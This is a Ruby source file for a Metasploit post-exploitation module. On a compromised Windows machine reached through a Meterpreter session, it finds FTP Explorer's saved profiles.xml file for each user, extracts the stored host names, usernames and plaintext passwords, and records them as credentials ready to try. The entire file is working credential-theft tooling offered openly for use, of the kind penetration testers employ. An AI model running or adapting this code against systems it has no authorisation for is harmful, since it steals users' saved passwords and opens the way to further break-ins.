##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',
        'Description' => %q{
          This module finds saved login credentials for the FTP Explorer (FTPx)
          FTP client for Windows.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'bcoles' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
            ]
          }
        }
      )
    )
  end

  def run
    grab_user_profiles.each do |user|
      next if user['AppData'].nil?

      xml = get_xml(user['AppData'] + '\\FTP Explorer\\profiles.xml')
      unless xml.nil?
        parse_xml(xml)
      end
    end
  end

  def get_xml(path)
    connections = client.fs.file.new(path, 'r')

    condata = ''
    condata << connections.read until connections.eof
    return condata
  rescue Rex::Post::Meterpreter::RequestError => e
    print_error "Error when reading #{path} (#{e.message})"
    return nil
  end

  # Extracts the saved connection data from the XML.
  # Reports the credentials back to the database.
  def parse_xml(data)
    mxml = REXML::Document.new(data).root
    mxml.elements.to_a('//FTPx10//Profiles//').each.each do |node|
      next if node.elements['Host'].nil?
      next if node.elements['Login'].nil?
      next if node.elements['Password'].nil?

      host = node.elements['Host'].text
      port = node.elements['Port'].text
      user = node.elements['Login'].text
      pass = node.elements['Password'].text

      # skip blank passwords
      next if !pass || pass.empty?

      # show results to the user
      print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")

      # save results to the db
      service_data = {
        address: Rex::Socket.getaddress(host),
        port: port,
        protocol: 'tcp',
        service_name: 'ftp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: user,
        private_data: pass,
        private_type: :password
      }

      credential_core = create_credential(credential_data.merge(service_data))

      login_data = {
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      create_credential_login(login_data.merge(service_data))
    end
  end
end
